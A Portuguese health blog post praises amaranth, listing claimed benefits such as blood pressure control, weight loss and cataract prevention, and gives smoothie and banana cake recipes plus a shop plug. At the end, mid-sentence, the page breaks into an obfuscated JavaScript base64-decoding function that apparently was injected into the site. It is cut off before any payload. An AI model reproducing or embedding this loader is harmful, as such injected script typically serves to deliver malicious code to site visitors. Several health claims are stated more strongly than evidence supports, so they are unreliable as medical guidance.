Dicas saudáveis – Benefícios do amaranto + receita de bolo de banana
Dicas saudáveis – Benefícios do amaranto + receita de bolo de banana
Aposto que já se habituou às minhas dicas saudáveis e eu continuo a adorar dar-lhe a conhecer superalimentos que têm muitos e variados benefícios. Hoje falo-lhe do amaranto. Já ouviu falar? Então saiba que o amaranto é muito rico em nutrientes, desde proteínas, vitamina A, B, C e E, cálcio, zinco, magnésio, potássio e fósforo. É por isso que os nutricionistas recomendam ingerir duas a três colheres de sopa deste cereal por dia. Conheça em pormenor todos os benefícios do amaranto:
1 – Controla a pressão arterial
Os peptídeos do amaranto travam o funcionamento de enzimas que elevam a pressão arterial. Assim, contribuem para uma melhor regulação da pressão arterial e para equilibrar os níveis de colesterol no sistema cardiovascular, diminuindo a hipótese de sofrer ataques cardíacos. Além disso, os níveis de potássio presentes no amaranto impulsionam a saúde do coração através do relaxamento dos vasos sanguíneos.
Dicas saudáveis – Benefícios do amaranto – Controla a pressão arterial | Foto: rbsdirect
2 – Ajuda a perder peso
Como o amaranto é rico em fibra contribui para a perda de peso. Ao entrar em contacto com o interior do estômago, este superalimento forma uma espécie de gel que dilata o órgão e provoca saciedade.
Dicas saudáveis – Benefícios do amaranto – Ajuda a perder peso | Foto: dicassobresaude
3 – Ajuda a ganhar massa muscular
O amaranto possui boas quantidades de proteínas, que têm a função de reparar pequenas lesões que decorrem de actividades físicas. Proporciona, assim, a formação de novas células musculares. Como tem altos níveis de vitamina C, este cereal ajuda a impulsionar o sistema imunitário, para além de estimular a produção de glóbulos brancos.
Dicas saudáveis – Benefícios do amaranto – Ajuda a ganhar massa muscular | Foto: vix
4 – Combate a osteoporose
Dado que o amaranto possui cálcio, é um grande aliado para prevenir ou retardar o aparecimento de osteoporose.
Dicas saudáveis - Benefícios do amaranto - Combate a osteoporose | Foto: simplusmedia
5 - É uma excelente fonte de proteína
O amaranto possui lisina em grandes quantidades, ricas em proteínas essenciais para o corpo humano. É uma excelente notícia, dado que acelera o metabolismo.
Dicas saudáveis - Benefícios do amaranto - É uma excelente fonte de proteína | Foto: incrivel.club
6 - Aliado de um cabelo brilhante e saudável
Graças à lisina presente no amaranto, o nosso cabelo fica mais forte, mais saudável e com uma raiz mais forte. Contribui ainda para a redução da perda de cabelo.
Dicas saudáveis - Benefícios do amaranto - Aliado de um cabelo forte e saudável | Foto: lablanca
7 - Retarda o aparecimento de cataratas
A vitamina A encontrada no amaranto tem um efeito bastante importante na nossa saúde ocular. O betacaroteno é um antioxidante que impede o desenvolvimento de cataratas e retarda o início da degeneração macular.
Dicas saudáveis - Benefícios do amaranto - Retarda o aparecimento de cataratas | Foto: akamaized
Benefícios impressionante, verdade?
Conheça agora 2 receitas com amaranto para fazer em sua casa:
- Batido de amaranto
Ingredientes:
- 2 colheres de sopa de amaranto em flocos
- Meia chávena de chá de sumo de laranja
- Meia chávena de chá de morangos congelados
- 2 bolas de gelado de baunilha
- 4 pedras de gelo
Modo de preparação:
Basta colocar os ingredientes num liquidificador, começando pelo sumo de laranja, depois o amaranto em flocos, o gelado, os morangos e o gelo, no final. Depois é só colocar a velocidade máxima durante 3 minutos e deliciar-se com este batido!
Dicas saudáveis - Benefícios do amaranto - Batido de amaranto | Foto: amazonaws
- Bolo de banana com amaranto
Ingredientes:
- 1 ovo
- 1 chávena de açúcar
- 1/3 de uma chávena de manteiga
- 2 bananas amassadas
- ½ chávena de amido de milho
- ½ chávena de farinha de mandioca
- 1 colher de chá de sal
- 1 colher de sopa de fermento de pó
- 1 chávena de flocos de amaranto
- ¼ de uma chávena de leite
Modo de preparação:
Numa taça, bata o ovo e o açúcar. De seguida, adicione a manteiga e as bananas amassadas. Assim que estiver bem batido, coloque o amido de milho. Mexa com uma colher até todo o amido ficar incorporado na massa e, quando estiver, coloque a farinha de mandioca e o sal. Depois de bater mais uma vez, coloque os flocos de amaranto. Mexa com uma colher até incorporar na massa os flocos e coloque o leite.
Coloque a mistura numa forma untada, espalhe e coloque no forno, já pré-aquecido, a 180º durante 40 a 45 minutos.
Por fim, pode enfeitar o bolo a seu gosto, com rodelas de banana e polvilhar com açúcar e canela! Et voilá! Delicie-se com este bolo com um aspeto e sabor ótimo!
Dicas saudáveis - Benefícios do amaranto - Bolo de banana com amaranto | Foto: armazemdasespeciarias
Mais dicas:
Este alimento pode ser consumido de diversas maneiras. Pode ser adicionado nas saladas ou em sopas e consumido em substituição ao arroz e feijão. O amaranto pode também ser adicionado às frutas, iogurtes e sumos. Cozinhá-lo é simples, pois basta uma chávena de sementes de amaranto e seis chávenas de água para este alimento cozer. Depois é só esperar 15 a 20 minutos e mexer para não queimar. Quando já estiver cozinhado é só escorrer a água e deliciar-se! Pode também ser preparado como uma pipoca, basta apenas colocar uma colher de sopa de grãos de amaranto numa frigideira. Depois é só tapar e esperar que o grão estoure. Fica com um snack super saudável e fácil de fazer!
E agora que viu estas receitas aposto que tem muita vontade de provar amaranto. A Girassol tem este produto ao seu dispor. Clique na imagem para saber como encomendar.
Se gostou de descobrir os benefícios do amaranto, descubra também os benefícios do açaí e da cartilagem de tubarão. Descubra porque é que deve comer maçãs e abacates todos dias. Tenha hábitos saudáveis! E, se gosta de decoração, saiba como decorar quartos pequenos e function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
